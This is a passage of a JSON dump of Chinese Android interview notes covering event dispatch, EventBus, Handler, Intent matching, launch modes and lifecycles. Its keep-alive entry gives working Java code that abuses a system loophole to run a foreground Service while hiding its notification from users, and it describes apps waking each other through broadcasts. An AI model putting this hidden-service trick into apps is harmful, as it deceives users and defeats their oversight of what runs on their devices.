一个事件序列只能被一个View拦截且消耗，不过通过事件代理`TouchDelegate`，可以将`onTouchEvent`强行传递给其他View处理。\n\n  - **某个View一旦决定拦截，那么这一事件序列就都只能由它来处理**。\n\n  - **某个View一旦开始处理事件，如果不消耗ACTION_DOWN事件（onTouchEvent返回了false），那么事件会重新交给它的父元素处理，即父元素的onTouchEvent会被调用**。\n\n  - 如果View不消耗除`ACTION_DOWN`以外的事件，那么这个点击事件会消失，此时父元素的`onTouchEvent`并不会调用，并且当前View可以持续收到后续的事件（Android系统通过一个标记来解决），最终这些消失的事件会传递到Activity。\n\n  - `ViewGroup`默认不拦截任何事件。Android源码中`ViewGroup`的`onInterceptTouchEvent`方法默认返回false。\n\n  - **View没有`onIntercepteTouchEvent`方法，一旦有点击事件传递给它，那么它的`onTouchEvent`方法就会被调用**。\n\n  - View的`onTouchEvent`默认都不会消耗事件（返回false），除非它是可点击的（`clickable`和`longClickable`有一个为true）。View的`longClickable`默认都为false，clickable要分情况看，比如Button默认为true，TextView默认为false。\n\n  - View的`enable`属性不影响`onTouchEvent`的默认返回值。哪怕一个View是`disable`状态，只要它的`clickable`或者`longClickable`有一个为true，那么它的`onTouchEvent`就返回true。\n\n  - `onClick`会发生的前提是当前View是可点击的，并且它受到down和up的事件。\n\n  - 事件传递是由外向内的，即事件总是先传递给父元素，然后再由父元素分发给子View，**通过`requestDisallowInterceptTouchEvent`方法就可以在子元素中干扰父元素的事件分发过程**，但ACTION_DOWN事件除外。\n"
  },
  {
    "path": "docs/android/interview/android/eventbus.md",
    "content": "# EventBus\n\n### EventBus消息接收者注册流程\n\n![](images/EventBus.register.png)\n\n### EventBus Post流程\n\n![](images/EventBus.Post.png)\n\n\n`postToSubscription()`在这个方法中，实现了从发布者到调用者的调用过程。在这里有很重要的几个分支：\n\n  - **Main**：在主线程中执行。\n    - 如果当前线程(post线程)是主线程，则直接invoke；\n    - 如果当前线程(post线程)不是主线程，则将消息放入一个`HandlerPosterPendingPostQueue`的消息队列中，然后通过主线程的Handler发送消息，最好在`Handler.HandleMessage`中调用`EventBus.invokeSubscriber`，来让订阅方法在主线程中执行。\n\n  - **BackGround**：在后台线程执行。\n    - 如果当前线程(post线程)不是主线程，则直接invoke；\n    - 如果当前线程(post线程)是主线程，则将消息放入`BackgroundPoster.PendingPostQueue`的消息队列中，由于该Poster实现了接口`Runable`，于是将该Poster放入线程池中执行，在线程中调用`EventBus.invokeSubscriber`。\n\n  - **Async**：异步执行。将消息放入`AsyncPoster`中，然后将该Poster放入线程池并调用`EventBus.invokeSubscriber`。\n"
  },
  {
    "path": "docs/android/interview/android/handler.md",
    "content": "# Android中Handler机制\n\n## 1.Looper.prepare\n\n首先从`ThreadLocal`中获取一个`Looper`，如果没有则向`ThreadLocal`中添加一个`new Looper`，同时新建一个`MessageQueue`。\n\n> 主线程的Looper在ActivityThread创建。\n\n### ThreadLocal\n\n`ThreadLocal`是Java提供的用于保存同一进程中不同线程数据的一种机制。每个线程中都保有一个`ThreadLocalMap`的成员变量，`ThreadLocalMap `内部采用`WeakReference`数组保存，数组的key即为`ThreadLocal `内部的Hash值。\n\n## 2.Looper.loop\n\n循环调用`MessageQueue.next`获取消息，该函数在`MessageQueue`中没有消息的时候会阻塞，这里采用了`epoll`的I/O多路复用机制。当获取到一个消息的时候会返回。\n\n## 3.Mseeage.target.dispatchMessage\n\n在loop中获取到消息后，会调用Message内部的Handler引用并分派事件。\n"
  },
  {
    "path": "docs/android/interview/android/intent.md",
    "content": "# Intent\n\nIntent 是一个消息传递对象，您可以使用它从其他应用组件请求操作。尽管 Intent 可以通过多种方式促进组件之间的通信，但其基本用例主要包括以下三个：\n\n  - 启动Activity：`startActivity()`\n\n  - 启动服务：`bindService()`\n\n  - 传递广播：`sendBroadcast()`\n\n## Intent 类型\n\nIntent 分为两种类型：\n\n  - **显式 Intent**：**按名称（完全限定类名）指定要启动的组件**。\n\n  - **隐式 Intent**：**不会指定特定的组件，而是声明要执行的常规操作，从而允许其他应用中的组件来处理它**。\n\n创建`显式 Intent` 启动 Activity 或服务时，系统将立即启动 Intent 对象中指定的应用组件。\n\n![](images/intent-filters.png)\n\n> 隐式 Intent 如何通过系统传递以启动其他 Activity 的图解\n\n创建`隐式 Intent` 时，Android 系统通过将 Intent 的内容与在设备上其他应用的清单文件中声明的 Intent 过滤器进行比较，从而找到要启动的相应组件。Intent如果 Intent 与 Intent 过滤器匹配，则系统将启动该组件，并将其传递给对象。如果多个 Intent 过滤器兼容，则系统会显示一个对话框，支持用户选取要使用的应用。\n\n> 为了确保应用的安全性，启动 Service 时，请始终使用显式 Intent，且不要为服务声明 Intent 过滤器。从 Android 5.0（API 级别 21）开始，如果使用隐式 Intent 调用 bindService()，系统会抛出异常。\n\n## 构建 Intent\n\n  - **组件名称(ComponentName)**：这是可选项，但也是构建显式 Intent 的一项重要信息，这意味着 Intent 应当仅传递给由组件名称定义的应用组件。Intent 的这一字段是 `ComponentName` 对象，您可以使用目标组件的完全限定类名指定此对象，其中包括应用的软件包名称。\n\n  - **操作(Action)**：指定要执行的通用操作（例如，“查看”或“选取”）的字符串。\n\n  - **数据(Data)**：引用待操作数据和/或该数据 MIME 类型的 URI（Uri 对象）。提供的数据类型通常由 Intent 的操作决定。\n\n    > 要仅设置数据 URI，请调用 setData()。要仅设置 MIME 类型，请调用 setType()。如有必要，您可以使用 setDataAndType() 同时显式设置二者。\n\n    >警告：若要同时设置 URI 和 MIME 类型，请勿调用 setData() 和 setType()，因为它们会互相抵消彼此的值。请始终使用 setDataAndType() 同时设置 URI 和 MIME 类型。\n\n  - **类别(Category)**：一个包含应处理 Intent 组件类型的附加信息的字符串。您可以将任意数量的类别描述放入一个 Intent 中，但大多数 Intent 均不需要类别。\n\n  - **Extra**：携带完成请求操作所需的附加信息的键值对。正如某些操作使用特定类型的数据 URI 一样，有些操作也使用特定的附加数据。例如，使用 `ACTION_SEND` 创建用于发送电子邮件的 Intent 时，可以使用 `EXTRA_EMAIL` 键指定“目标”收件人，并使用 `EXTRA_SUBJECT` 键指定“主题”。\n\n  - **标志(Flags)**：在 Intent 类中定义的、充当 Intent 元数据的标志。标志可以指示 Android 系统如何启动 Activity（例如，Activity 应属于哪个Task ）。\n\n## Intent 解析\n\n当系统收到隐式 Intent 以启动 Activity 时，它根据以下三个方面将该 Intent 与 Intent 过滤器进行比较，搜索该 Intent 的最佳 Activity：\n\n  - Intent 操作\n\n  - Intent 数据（URI 和数据类型）\n\n  - Intent 类别\n\n系统通过将 Intent 与所有这三个元素进行比较，根据过滤器测试隐式 Intent。**隐式 Intent 若要传递给组件，必须通过所有这三项测试。如果 Intent 甚至无法匹配其中任何一项测试，则 Android 系统不会将其传递给组件**。但是，由于一个组件可能有多个 Intent 过滤器，因此未能通过某一组件过滤器的 Intent 可能会通过另一过滤器。（在Demo中实验了几次，发现 Action 和 Data 必须至少设置一个，否则不能匹配到）\n\n### 操作（Action）匹配\n\n要指定接受的 Intent 操作， Intent 过滤器既可以不声明任何 `action` 元素，也可以声明多个此类元素。例如：\n\n```XML\n<intent-filter>\n    <action android:name=\"android.intent.action.EDIT\" />\n    <action android:name=\"android.intent.action.VIEW\" />\n    ...\n</intent-filter>\n```\n\n要通过此过滤器，您在 Intent 中指定的操作必须与过滤器中列出的 **某一操作匹配**。\n\n如果该过滤器未列出任何操作，则 Intent 没有任何匹配项，因此所有 Intent 均无法通过测试。但是，如果 Intent 未指定操作，则会通过测试（只要过滤器至少包含一个操作）。\n\n### 类别（Category）匹配\n\n要指定接受的 Intent 类别， Intent 过滤器既可以不声明任何 `category` 元素，也可以声明多个此类元素。例如：\n\n```XML\n<intent-filter>\n    <category android:name=\"android.intent.category.DEFAULT\" />\n    <category android:name=\"android.intent.category.BROWSABLE\" />\n    ...\n</intent-filter>\n```\n\n若要 Intent 通过类别测试，则 **Intent 中的每个类别均必须与过滤器中的类别匹配**。反之则未必然，**Intent 过滤器声明的类别可以超出 Intent 中指定的数量，且 Intent 仍会通过测试。因此，不含类别的 Intent 应当始终会通过此测试，无论过滤器中声明何种类别均是如此**。\n\n> Android 会自动将 `CATEGORY_DEFAULT` 类别应用于传递给 `startActivity()` 和 `startActivityForResult()` 的所有隐式 Intent。因此，如需 Activity 接收隐式 Intent，则必须将 \"`android.intent.category.DEFAULT`\" 的类别包括在其 Intent 过滤器中。\n\n### 数据（Data）匹配\n\n要指定接受的 Intent 数据， Intent 过滤器既可以不声明任何 `data` 元素，也可以声明多个此类元素。例如：\n\n```XML\n<intent-filter>\n    <data android:mimeType=\"video/mpeg\" android:scheme=\"http\" ... />\n    <data android:mimeType=\"audio/mpeg\" android:scheme=\"http\" ... />\n    ...\n</intent-filter>\n```\n\n每个 `<data>` 元素均可指定 URI 结构和数据类型（MIME 介质类型）。URI 的每个部分均包含单独的 scheme、host、port 和 path 属性：\n\n```\nscheme://host:port/path\n```\n\n例如：\n\n```\ncontent://com.example.project:200/folder/subfolder/etc\n```\n\n在此 URI 中，架构是 `content`，主机是 `com.example.project`，端口是 `200`，路径是 `folder/subfolder/etc`。上述每个属性均为可选，但存在线性依赖关系：\n\n  - 如果未指定架构，则会忽略主机。\n\n  - 如果未指定主机，则会忽略端口。\n\n  - 如果未指定架构和主机，则会忽略路径。\n\n将 Intent 中的 URI 与过滤器中的 URI 规范进行比较时，它仅与过滤器中包含的部分 URI 进行比较。例如：\n\n  - 如果过滤器仅指定架构，则具有该架构的所有 URI 均与该过滤器匹配。\n\n  - 如果过滤器指定架构和权限、但未指定路径，则具有相同架构和权限的所有 URI 都会通过过滤器，无论其路径如何均是如此。\n\n  - 如果过滤器指定架构、权限和路径，则仅具有相同架构、权限和路径 的 URI 才会通过过滤器。\n\n> 路径规范可以包含星号通配符 ( * )，因此仅需部分匹配路径名即可。\n\n数据匹配会将 Intent 中的 URI 和 MIME 类型与过滤器中指定的 URI 和 MIME 类型进行比较。规则如下：\n\n  - 仅当过滤器未指定任何 URI 或 MIME 类型时，不含 URI 和 MIME 类型的 Intent 才会通过测试。\n\n  - 对于包含 URI、但不含 MIME 类型（既未显式声明，也无法通过 URI 推断得出）的 Intent，仅当其 URI 与过滤器的 URI 格式匹配、且过滤器同样未指定 MIME 类型时，才会通过测试。\n\n  - 仅当过滤器列出相同的 MIME 类型且未指定 URI 格式时，包含 MIME 类型、但不含 URI 的 Intent 才会通过测试。\n\n  - 仅当 MIME 类型与过滤器中列出的类型匹配时，包含 URI 和 MIME 类型（通过显式声明，或可以通过 URI 推断得出）的 Intent 才会通过测试的 MIME 类型部分。如果 Intent 的 URI 与过滤器中的 URI 匹配，或者如果 Intent 具有 `content:` 或 `file:` URI 且过滤器未指定 URI，则 Intent 会通过测试的 URI 部分。换而言之，如果过滤器仅列出 MIME 类型，则假定组件支持 `content:` 和 `file:` 数据。\n\n最后一条规则，反映了期望组件能够从文件中或 `内容提供者` 处获得本地数据。因此，其过滤器可以仅列出数据类型，而不必显式命名 `content:` 和 `file:` 架构。这是一个典型的案例。例如，下文中的 `data` 元素向 Android 指出，组件可从 `内容提供者` 处获得并显示图像数据。\n\n```XML\n<intent-filter>\n    <data android:mimeType=\"image/*\" />\n    ...\n</intent-filter>\n```\n\n## Intent 匹配\n\n您的应用可以采用类似的方式使用 Intent 匹配。`PackageManager` 提供了一整套 `query...()` 方法来返回所有能够接受特定 Intent 的组件。此外，它还提供了一系列类似的 `resolve...()` 方法来确定响应 Intent 的最佳组件。例如，`queryIntentActivities() `将返回能够执行那些作为参数传递的 Intent 的所有 Activity 列表，而 `queryIntentServices()` 则可返回类似的服务列表。这两种方法均不会激活组件，而只是列出能够响应的组件。对于广播接收器，有一种类似的方法： `queryBroadcastReceivers()`。\n"
  },
  {
    "path": "docs/android/interview/android/keep-live.md",
    "content": "# 进程保活\n\n## 进程生命周期\n\nAndroid 系统将尽量长时间地保持应用进程，但为了新建进程或运行更重要的进程，最终需要清除旧进程来回收内存。 为了确定保留或终止哪些进程，系统会根据进程中正在运行的组件以及这些组件的状态，将每个进程放入“重要性层次结构”中。 必要时，系统会首先消除重要性最低的进程，然后是重要性略逊的进程，依此类推，以回收系统资源。\n\n重要性层次结构一共有 5 级。以下列表按照重要程度列出了各类进程（第一个进程最重要，将是最后一个被终止的进程）：\n\n  1. 前台进程：用户当前操作所必需的进程。如果一个进程满足以下任一条件，即视为前台进程：\n\n    - 托管用户正在交互的 Activity（已调用 Activity 的 `onResume()` 方法）\n\n    - 托管某个 Service，后者绑定到用户正在交互的 Activity\n\n    - 托管正在“前台”运行的 Service（服务已调用 `startForeground()`）\n\n    - 托管正执行一个生命周期回调的 Service（`onCreate()`、`onStart()` 或 `onDestroy()`）\n\n    - 托管正执行其 `onReceive()` 方法的 BroadcastReceiver\n\n  通常，在任意给定时间前台进程都为数不多。只有在内在不足以支持它们同时继续运行这一万不得已的情况下，系统才会终止它们。 此时，设备往往已达到内存分页状态，因此需要终止一些前台进程来确保用户界面正常响应。\n\n  2. 可见进程：没有任何前台组件、但仍会影响用户在屏幕上所见内容的进程。 如果一个进程满足以下任一条件，即视为可见进程：\n\n    - 托管不在前台、但仍对用户可见的 Activity（已调用其 `onPause()` 方法）。例如，如果前台 Activity 启动了一个对话框，允许在其后显示上一 Activity，则有可能会发生这种情况\n\n    - 托管绑定到可见（或前台）Activity 的 Service\n\n  可见进程被视为是极其重要的进程，除非为了维持所有前台进程同时运行而必须终止，否则系统不会终止这些进程。\n\n  3. 服务进程：正在运行已使用 `startService()` 方法启动的服务且不属于上述两个更高类别进程的进程。尽管服务进程与用户所见内容没有直接关联，但是它们通常在执行一些用户关心的操作（例如，在后台播放音乐或从网络下载数据）。因此，除非内存不足以维持所有前台进程和可见进程同时运行，否则系统会让服务进程保持运行状态。\n\n  4. 后台进程：包含目前对用户不可见的 Activity 的进程（已调用 Activity 的 `onStop()` 方法）。这些进程对用户体验没有直接影响，系统可能随时终止它们，以回收内存供前台进程、可见进程或服务进程使用。 通常会有很多后台进程在运行，因此它们会保存在 LRU （最近最少使用）列表中，以确保包含用户最近查看的 Activity 的进程最后一个被终止。如果某个 Activity 正确实现了生命周期方法，并保存了其当前状态，则终止其进程不会对用户体验产生明显影响，因为当用户导航回该 Activity 时，Activity 会恢复其所有可见状态。\n\n  5. 空进程：不含任何活动应用组件的进程。保留这种进程的的唯一目的是用作缓存，以缩短下次在其中运行组件所需的启动时间。 为使总体系统资源在进程缓存和底层内核缓存之间保持平衡，系统往往会终止这些进程。\n\n\n**根据进程中当前活动组件的重要程度，Android 会将进程评定为它可能达到的最高级别**。例如，如果某进程托管着服务和可见 Activity，则会将此进程评定为可见进程，而不是服务进程。\n\n此外，一个进程的级别可能会因其他进程对它的依赖而有所提高，即 **服务于另一进程的进程其级别永远不会低于其所服务的进程**。 例如，如果进程 A 中的内容提供程序为进程 B 中的客户端提供服务，或者如果进程 A 中的服务绑定到进程 B 中的组件，则进程 A 始终被视为至少与进程 B 同样重要。\n\n由于运行服务的进程其级别高于托管后台 Activity 的进程，因此 **启动长时间运行操作的 Activity 最好为该操作启动服务，而不是简单地创建工作线程，当操作有可能比 Activity 更加持久时尤要如此**。例如，正在将图片上传到网站的 Activity 应该启动服务来执行上传，这样一来，即使用户退出 Activity，仍可在后台继续执行上传操作。使用服务可以保证，无论 Activity 发生什么情况，该操作至少具备“服务进程”优先级。 同理，广播接收器也应使用服务，而不是简单地将耗时冗长的操作放入线程中。\n\n## 保活的基本概念\n\n当前Android进程保活手段主要分为 黑、白、灰 三种，其大致的实现思路如下：\n\n  - **黑色保活**：不同的app进程，用广播相互唤醒（包括利用系统提供的广播进行唤醒）\n\n  - **白色保活**：启动前台Service\n\n  - **灰色保活**：利用系统的漏洞启动前台Service\n\n>还有一种就是控制Service.onStartCommand的返回值，使用 `START_STICKY`可以在一定程度上保活。\n\n## 黑色保活\n\n所谓黑色保活，就是利用不同的app进程使用广播来进行相互唤醒。举个3个比较常见的场景：\n\n  - **场景1**：开机，网络切换、拍照、拍视频时候，利用系统产生的广播唤醒app。\n\n  - **场景2**：接入第三方SDK也会唤醒相应的app进程，如微信sdk会唤醒微信，支付宝sdk会唤醒支付宝。由此发散开去，就会直接触发了下面的场景3。\n\n  - **场景3**：假如你手机里装了支付宝、淘宝、天猫、UC等阿里系的app，那么你打开任意一个阿里系的app后，有可能就顺便把其他阿里系的app给唤醒了。\n\n## 白色保活\n\n白色保活手段非常简单，就是调用系统api启动一个前台的Service进程，这样会在系统的通知栏生成一个Notification，用来让用户知道有这样一个app在运行着，哪怕当前的app退到了后台。如网易云音乐。\n\n## 灰色保活\n\n它是利用系统的漏洞来启动一个前台的Service进程，与普通的启动方式区别在于，它不会在系统通知栏处出现一个Notification，看起来就如同运行着一个后台Service进程一样。这样做带来的好处就是，用户无法察觉到你运行着一个前台进程（因为看不到Notification）,但你的进程优先级又是高于普通后台进程的。\n\n  - `API < 18`，启动前台Service时直接传入new Notification()；\n  \n  - `API >= 18`，同时启动两个id相同的前台Service，然后再将后启动的Service做stop处理；\n\n```Java\npublic class GrayService extends Service {\n\n    private final static int GRAY_SERVICE_ID = 1001;\n\n    @Override\n    public int onStartCommand(Intent intent, int flags, int startId) {\n        if (Build.VERSION.SDK_INT < 18) {\n            startForeground(GRAY_SERVICE_ID, new Notification());//API < 18 ，此方法能有效隐藏Notification上的图标\n        } else {\n            Intent innerIntent = new Intent(this, GrayInnerService.class);\n            startService(innerIntent);\n            startForeground(GRAY_SERVICE_ID, new Notification());\n        }\n\n        return super.onStartCommand(intent, flags, startId);\n    }\n\n    ...\n    ...\n\n    /**\n     * 给 API >= 18 的平台上用的灰色保活手段\n     */\n    public static class GrayInnerService extends Service {\n\n        @Override\n        public int onStartCommand(Intent intent, int flags, int startId) {\n            startForeground(GRAY_SERVICE_ID, new Notification());\n            stopForeground(true);\n            stopSelf();\n            return super.onStartCommand(intent, flags, startId);\n        }\n\n    }\n}\n```\n"
  },
  {
    "path": "docs/android/interview/android/launchmod.md",
    "content": "# Activity四种启动模式\n\n## Standard\n\n标准模式。每次启动Activity都会创建新的实例。**谁启动了这个Activity，那么这个Activity就运行在谁的Task中**。不能使用非Activity类型的`context`启动这种模式的Activity，因为这种`context`并没有Task，这个时候就可以加一个`FLAG_ACTIVITY_NEW_TASK`标记位，这个时候启动Activity实际上是以singleTask模式启动。\n\n![](images/android-lanchmode-standard.gif)\n\n## SingleTop\n\n栈顶复用模式。如果当前栈顶是要启动的Activity，那么直接引用，如果不是，则新建。在直接引用的时候会调用`onNewIntent()`方法。\n\n![](images/android-lanchmode-singletop.gif)\n\n适合接收通知启动的内容显示页面，或者从外界可能多次跳转到一个界面。\n\n## SingleTask\n\n栈内复用模式。这种模式下，只要Activity只要在一个栈内存在，那么就不会创建新的实例，会调用`onNewIntent()`方法。\n\n  - 如果要调用的Activity在同一应用中：调用singleTask模式的Activity会清空在它之上的所有Activity。\n\n  - 若其他应用启动该Activity：如果不存在，则建立新的Task。如果已经存在后台，那么启动后，后台的Task会一起被切换到前台。\n\n![](images/android-lanchmode-singletask.gif)\n\n适合作为程序入口点，例如浏览器的主界面。不管从多少个应用启动浏览器，只会启动主界面一次，其余情况都会走onNewIntent，并且会清空主界面上面的其他页面。\n\n## SingleInstance\n\n单实例模式。这时一种加强的singleTask，它除了具有singleTask的所有特性外，还加强了一点--该模式的Activity只能单独的位于一个Task中。\n\n>不同Task之间，默认不能传递数据(`startActivityForResult()`)，如果一定要传递，只能使用Intent绑定。\n\n![](images/android-lanchmode-singleinstance.gif)\n\n适合需要与程序分离开的页面。例如闹铃提醒，将闹铃提醒与闹铃设置分离。\n"
  },
  {
    "path": "docs/android/interview/android/lifecicle.md",
    "content": "# Activity && Service生命周期\n\n## Activity生命周期\n\n![](images/activity-basic-lifecycle.png)\n\n在上面的图中存在不同状态之间的过渡，但是，这些状态中只有三种可以是静态，也就是说 Activity 只能在三种状态之一下存在很长时间。\n\n  - **继续**：在这种状态下，Activity处于前台，且用户可以与其交互（又称为运行态，在调用 `onResume()` 方法调用后）。\n\n  - **暂停**：在这种状态下，Activity被在前台中处于半透明状态或者未覆盖整个屏幕的另一个Activity—部分阻挡。 暂停的Activity不会接收用户输入并且无法执行任何代码。\n\n  - **停止**：在这种状态下，Activity被完全隐藏并且对用户不可见；它被视为处于后台。 停止时，Activity实例及其诸如成员变量等所有状态信息将保留，但它无法执行任何代码。\n\n其他状态（“创建”和“开始”）是瞬态，系统会通过调用下一个生命周期回调方法从这些状态快速移到下一个状态。 也就是说，在系统调用 `onCreate()` 之后，它会快速调用 `onStart()`，紧接着快速调用 `onResume()`。\n\n### 创建和销毁\n\n#### 创建一个新实例\n\n大多数应用包含若干个不同的Activity，用户可通过这些Activity执行不同的操作。无论Activity是用户单击您的应用图标时创建的主Activity还是您的应用在响应用户操作时开始的其他Activity，系统都会通过调用其 `onCreate()` 方法创建 Activity 的每个新实例。\n\n一旦 `onCreate()` 完成执行操作，系统会相继调用 `onStart()` 和 `onResume()` 方法，您的Activity从不会驻留在“已创建”或“已开始”状态。在技术上，**Activity会在 onStart() 被调用时变得可见，但紧接着是 onResume()，且Activity保持“运行”状态，直到有事情发生使其发生变化**，比如当接听来电时，用户导航至另一个Activity，或设备屏幕关闭。\n\n#### 销毁Activity\n\n当Activity的第一个生命周期回调是 `onCreate()` 时，它最终的回调是 `onDestroy()`。**系统会对您的Activity调用此方法，作为Activity实例完全从系统内存删除的最终信号**。\n\n>在所有情况下，系统在调用 `onPause()` 和 `onStop()` 之后都会调用 `onDestroy()` ，只有一个例外：当您从 `onCreate()` 方法内调用 `finish()` 时。在有些情况下，比如当您的Activity作为临时决策工具运行以启动另一个Activity时，您可从 `onCreate()` 内调用 `finish()` 来销毁Activity。 在这种情况下，系统会立刻调用 `onDestroy()`，而不调用任何其他生命周期方法。\n\n### 暂停和继续\n\n在正常使用应用的过程中，前台 Activity 有时会被其他导致 _Activity 暂停_ 的可视组件阻挡。 例如，**当半透明Activity打开时（比如对话框样式中的Activity），上一个Activity会暂停。只要 Activity 仍然部分可见但目前又未处于焦点之中，它会一直暂停。但是，一旦Activity完全被阻挡并且不可见，它便停止**。\n\n当 Activity 进入暂停状态时，系统会对调用 `onPause()` 方法，通过该方法，您可以停止不应在暂停时继续的进行之中的操作（比如视频）或保留任何应该永久保存的信息，以防用户坚持离开应用。如果用户从暂停状态返回到您的 Activity ，系统会重新开始该Activity并调用 `onResume()` 方法。\n\n#### 暂停Activity\n\n当系统为 Activity 调用 `onPause()` 时，它从技术角度看意味着 Activity 仍然处于部分可见状态，但往往说明用户即将离开Activity并且它很快就要进入“停止”状态。 您通常应使用 `onPause()` 回调：\n\n  - 停止动画或其他可能消耗 CPU 的进行之中的操作。\n\n  - 提交未保存的更改，但仅当用户离开时希望永久性保存此类更改（比如电子邮件草稿）。\n\n  - 释放系统资源，比如广播接收器、传感器手柄（比如 GPS） 或当您的Activity暂停且用户不需要它们时仍然可能影响电池寿命的任何其他资源。\n\n避免在 `onPause()` 期间执行 CPU 密集型工作，比如向数据库写入信息，因为这会拖慢向下一 Activity 过渡的过程（应改为在 `onStop()` 期间执行高负载操作。\n\n#### 继续Activity\n\n当用户从“暂停”状态继续您的Activity时，系统会调用 `onResume()` 方法。\n\n请注意，每当 Activity 进入前台时系统便会调用此方法，包括它初次创建之时。 同样地，应实现 `onResume()` 初始化在 `onPause()` 期间释放的组件并且执行每当 Activity 进入“继续”状态时必须进行的任何其他初始化操作（比如开始动画和初始化只在 Activity 具有用户焦点时使用的组件）。\n\n### 停止并重新开始\n\n几种 Activity 停止和重新开始的关键场景：\n\n  - 用户打开“最近应用”窗口并从您的应用切换到另一个应用。当前位于前台的您的应用中的 Activity 将停止。 如果用户从主屏幕启动器图标或“最近应用”窗口返回到您的应用， Activity 会重新开始。\n\n  - 用户在您的应用中执行开始新 Activity 的操作。当第二个 Activity 创建好后，当前 Activity 便停止。如果用户之后按了返回按钮，第一个 Activity 会重新开始。\n\n  - 用户在其手机上使用您的应用的同时接听来电。\n\n**不同于识别部分 UI 阻挡的暂停状态，停止状态保证 UI 不再可见，且用户的焦点在另外的Activity（或完全独立的应用）中**。\n\n#### 停止Activity\n\n当您的Activity收到 `onStop()` 方法的调用时，它不再可见，并且应释放几乎所有用户不使用时不需要的资源。 一旦您的 Activity 停止，如果需要恢复系统内存，系统可能会销毁该实例。 **在极端情况下，系统可能会仅终止应用进程，而不会调用Activity的最终 `onDestroy()` 回调，因此您使用 `onStop()` 释放可能泄露内存的资源非常重要**。\n\n尽管 `onPause()` 方法在 `onStop()`之前调用，您应使用 `onStop()` 执行更大、占用更多 CPU 的关闭操作，比如向数据库写入信息。\n\n当您的Activity停止时， Activity 对象将驻留在内存中并在 Activity 继续时被再次调用。 您无需重新初始化在任何导致进入“继续”状态的回调方法过程中创建的组件。 系统还会在布局中跟踪每个 View 的当前状态，如果用户在 EditText 小工具中输入文本，该内容会保留，因此您无需保存即可恢复它。\n\n> 即使系统在 Activity 停止时销毁了 Activity ，它仍会保留 Bundle（键值对的二进制大对象）中的 View 对象（比如 EditText 中的文本），并在用户导航回 Activity 的相同实例时恢复它们\n\n#### 开始/重新开始Activity\n\n当您的Activity从停止状态返回前台时，它会接收对 `onRestart()` 的调用。系统还会在每次您的Activity变为可见时调用 `onStart()` 方法（无论是正重新开始还是初次创建）。 但是，只会在Activity从停止状态继续时调用 `onRestart()` 方法，因此您可以使用它执行只有在Activity之前停止但未销毁的情况下可能必须执行的特殊恢复工作。**您应经常使用 onStart() 回调方法作为 onStop() 方法的对应部分，因为系统会在它创建您的Activity以及从停止状态重新开始Activity时调用`onStart()`**。\n\n### 重新创建\n\n在有些情况下，您的 Activity 会因正常应用行为而销毁，比如当用户按 _返回按钮_ 或您的 Activity 通过调用`finish()`示意自己的销毁。 如果 Activity 当前被停止或长期未使用，或者前台Activity需要更多资源以致系统必须关闭后台进程恢复内存，系统也可能会销毁Activity。\n\n当您的Activity因用户按了 _返回_  或Activity自行完成而被销毁时，系统的 Activity 实例概念将永久消失。 但是，如果系统因系统局限性（而非正常应用行为）而销毁Activity，尽管 Activity 实际实例已不在，系统会记住其存在，这样，如果用户导航回实例，系统会使用描述 Activity 被销毁时状态的一组已保存数据创建 Activity 的新实例。 系统用于恢复先前状态的已保存数据被称为“实例状态”，并且是 `Bundle` 对象中存储的键值对集合。\n\n默认情况下，系统会使用 `Bundle` 实例状态保存您的 Activity 布局（比如，输入到 `EditText` 对象中的文本值）中有关每个 View 对象的信息。 这样，如果您的Activity实例被销毁并重新创建，布局状态便恢复为其先前的状态，且您无需代码。 但是，您的Activity可能具有您要恢复的更多状态信息，比如跟踪用户在 Activity 中进度的成员变量。\n\n> 为了 Android 系统恢复Activity中视图的状态，每个视图必须具有 android:id 属性提供的唯一 ID。\n\n要保存有关 Activity 状态的其他数据，您必须替代 `onSaveInstanceState()` 回调方法。当用户要离开 Activity 并在 Activity 意外销毁时向其传递将保存的 Bundle 对象时，系统会调用此方法。 如果系统必须稍后重新创建Activity实例，它会将相同的 Bundle 对象同时传递给 `onRestoreInstanceState()` 和 `onCreate()` 方法。\n\n![](images/basic-lifecycle-savestate.png)\n\n#### 保存Activity状态\n\n当您的Activity开始停止时，系统会调用 `onSaveInstanceState()` 以便您的Activity可以保存带有键值对集合的状态信息。 此方法的默认实现保存有关Activity视图层次的状态信息（只保存部分 View ），例如 EditText 小工具中的文本或ListView 的滚动位置。要保存Activity的更多状态信息，您必须实现 `onSaveInstanceState()` 并将键值对添加至 Bundle 对象。\n\n如果当系统配置改变时，不希望重建Activity，可以给Activity指定`configChanges`属性。当被配置的系统配置发生改变时会调用`onConfigurationChanged()`方法，而不会调用`onSaveInstanceState()`。\n\n> onSaveInstanceState() 的调用时机是不明确的，但是如果调用就一定会在 onStop()之前。\n\n#### 恢复Activity状态\n\n当您的Activity在先前销毁之后重新创建时，您可以从系统向Activity传递的 Bundle 恢复已保存的状态。`onCreate()` 和 `onRestoreInstanceState()` 回调方法均接收包含实例状态信息的相同 Bundle。\n\n因为无论系统正在创建Activity的新实例还是重新创建先前的实例，都会调用 `onCreate()` 方法，因此您必须在尝试读取它之前检查状态 Bundle 是否为 null。 如果为 null，则系统将创建Activity的新实例，而不是恢复已销毁的先前实例。\n\n## Service生命周期\n\n- Start Service：通过`context.startService()`启动，这种service可以无限制的运行，除非调用`stopSelf()`或者其他组件调用`context.stopService()`。\n\n- Bind Service：通过`context.bindService()`启动，客户可以通过IBinder接口和service通信，客户可以通过`context.unBindService()`取消绑定。一个service可以和多个客户绑定，当所有客户都解除绑定后，service将终止运行。\n\n >一个通过`context.startService()`方法启动的service，其他组件也可以通过`context.bindService()`与它绑定，在这种情况下，不能使用`stopSelf()`或者`context.stopService()`停止service，只能当所有客户解除绑定在调用`context.stopService()`才会终止。\n\n![](images/service_life.png)\n"
  },
  {
    "path": "docs/android/interview/android/listview.md",
